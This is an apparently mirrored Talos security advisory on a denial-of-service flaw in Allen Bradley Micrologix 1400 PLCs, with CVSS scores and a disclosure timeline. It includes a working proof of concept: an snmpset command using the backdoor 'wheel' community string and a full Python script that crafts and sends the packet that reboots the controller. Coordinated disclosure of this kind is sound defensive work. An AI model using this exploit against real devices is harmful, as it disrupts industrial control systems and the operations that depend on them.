Lucene search

K
talosTalos IntelligenceTALOS-2017-0442
HistoryMar 28, 2018 - 12:00 a.m.

Allen Bradley Micrologix 1400 Series B SNMP-Set Processing Incorrect Behavior Order Denial of Service Vulnerability

2018-03-2800:00:00
Talos Intelligence
www.talosintelligence.com
396

7.8 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:N/I:N/A:C

7.7 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

0.135 Low

EPSS

Percentile

95.6%

Summary

An exploitable denial of service vulnerability exists in the processing of snmp-set commands of the Allen Bradley Micrologix 1400 Series B FRN 21.2 and below. A specially crafted snmp-set request, when sent without associated firmware flashing snmp-set commands, can cause a device power cycle resulting in downtime for the device. An attacker can send one packet to trigger this vulnerability.

Tested Versions

Allen Bradley Micrologix 1400 Series B FRN 21.2 Allen Bradley Micrologix 1400 Series B FRN 21.0 Allen Bradley Micrologix 1400 Series B FRN 15

Product URLs

<http://ab.rockwellautomation.com/Programmable-Controllers/MicroLogix-1400&gt;

CVSSv3 Score

7.7 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

CWE

CWE-696: Incorrect Behavior Order

Details

During a firmware update, the SNMP OID .1.3.6.1.4.1.95.2.3.1.1.1.1.0 gets set to the integer 2 right before the device reboots and enters the flashing state. If only this SNMP request is sent, the device will still perform a reboot without attempting to perform any flashing operations.

Firmware versions 16.2 and below support this functionality with both SNMPv1 and SNMPv2c, however as of firmware version 21.0 it is only supported in SNMPv1.

While this vulnerability requires a priviliged SNMP community string to exploit, it is possible to use the backdoor priviliged string β€˜wheel’ disclosed in CVE-2016-5645 (TALOS-2016-0184) to perform the snmp-set operation even if the β€˜private’ string has been changed.

Exploit Proof-of-Concept

Set the OID value to 2 using snmpset snmpset -c wheel -v 1 .1.3.6.1.4.1.95.2.3.1.1.1.1.0 i 2 Where is the ip address of the device

Additionally, the following script can be used to trigger the condition. The process is the same for both PoCs.

Usage: python .py -i [-p ] [-c ] Where the elements are as follows: - : whatever name you give the script - : ip address of the plc - : SNMP port (defaults to 161) - : the community string to use (defaults to β€˜wheel’)

import argparse
import socket
import binascii
import random
import crcmod.predefined

parser = argparse.ArgumentParser()
parser.add_argument("-i", "--ipaddr", help="PLC ip address", type=str)
parser.add_argument("-p", "--port", help="target port", default=161, type=int)
parser.add_argument("-c", "--community", help="community string", default="wheel", type=str)
args = parser.parse_args()
 
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
plc_host = args.ipaddr
port = args.port
comm_str = args.community

def pad_hex(hex_str, size):
	if "0x" in hex_str: hex_str = "".join(hex_str.split("0x"))
	if len(hex_str) != size:
		numzeros = size - len(hex_str) 
		zeros = "0"*numzeros
		hex_str = "%s%s" % (zeros, hex_str)
	return hex_str

def build_snmp_instruction():
	length_len = 1
	series_tag = "\x30"
	series_len = "\x30"
	version_tag = "\x02"
	version = "\x01"
	version_len = len(version)
	comm_str_tag ="\x04"
	comm_str_len = len(comm_str)
	set_request_pdu_tag ="\xa3"
	req_id_tag = "\x02"
	req_id = "\x7c\xb5\x9d\xb7"
	req_id_len = len(req_id)
	err_status_tag = "\x02"
	err_status  ="\x00"
	err_status_len = len(err_status)
	err_index_tag ="\x02"
	err_index ="\x00"
	err_index_len = len(err_index)
	sub_series_tag ="\x30"
	obj_tag = "\x30"
	obj_name_tag ="\x06"
	obj_name = ""
	obj_value_tag = ""
	obj_value = ""
	obj_name = "\x2b\x06\x01\x04\x01\x5f\x02\x03\x01\x01\x01\x01\x00"
	obj_value_tag = "\x02"
	obj_value = "\x02"
	obj_name_len = len(obj_name)
	obj_value_len = len(obj_value)
	obj_len = len(obj_tag) + length_len + obj_name_len + len(obj_value_tag) + len(obj_value) + length_len
	sub_series_len = len(obj_tag) + length_len + len(obj_name_tag) + len(obj_name) + length_len + len(obj_value_tag) + len(obj_value) + length_len
	set_request_pdu_len = len(req_id_tag) + len(req_id) + length_len + len(err_status_tag) + len(err_status) + length_len + len(err_index_tag) + len(err_index) + length_len + len(sub_series_tag) + length_len + sub_series_len
	series_len = len(version_tag) + len(version) + length_len + len(comm_str_tag) + len(comm_str) + length_len + len(set_request_pdu_tag) + length_len + set_request_pdu_len
	version_len = binascii.unhexlify(pad_hex(hex(version_len)[2:],2))
	comm_str_len = binascii.unhexlify(pad_hex(hex(comm_str_len)[2:],2))
	req_id_len = binascii.unhexlify(pad_hex(hex(req_id_len)[2:],2))
	err_status_len = binascii.unhexlify(pad_hex(hex(err_status_len)[2:],2))
	err_index_len = binascii.unhexlify(pad_hex(hex(err_index_len)[2:],2))
	obj_len = binascii.unhexlify(pad_hex(hex(obj_len)[2:],2))
	obj_name_len = binascii.unhexlify(pad_hex(hex(obj_name_len)[2:],2))
	obj_value_len = binascii.unhexlify(pad_hex(hex(obj_value_len)[2:],2))
	sub_series_len = binascii.unhexlify(pad_hex(hex(sub_series_len)[2:],2))
	set_request_pdu_len = binascii.unhexlify(pad_hex(hex(set_request_pdu_len)[2:],2))
	series_len = binascii.unhexlify(pad_hex(hex(series_len)[2:],2))
	packet = series_tag + series_len + version_tag + version_len + version + comm_str_tag + comm_str_len + comm_str + set_request_pdu_tag + set_request_pdu_len + req_id_tag + req_id_len + req_id + err_status_tag + err_status_len + err_status + err_index_tag + err_index_len + err_index + sub_series_tag + sub_series_len + obj_tag + obj_len + obj_name_tag + obj_name_len + obj_name + obj_value_tag + obj_value_len + obj_value
	return packet

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.connect((plc_host, port))
sock.send(build_snmp_instruction())
sock.shutdown(socket.SHUT_RDWR)
sock.close()

Timeline

2017-09-22 - Vendor Disclosure
2018-03-28 - Public Release

7.8 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:N/I:N/A:C

7.7 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

0.135 Low

EPSS

Percentile

95.6%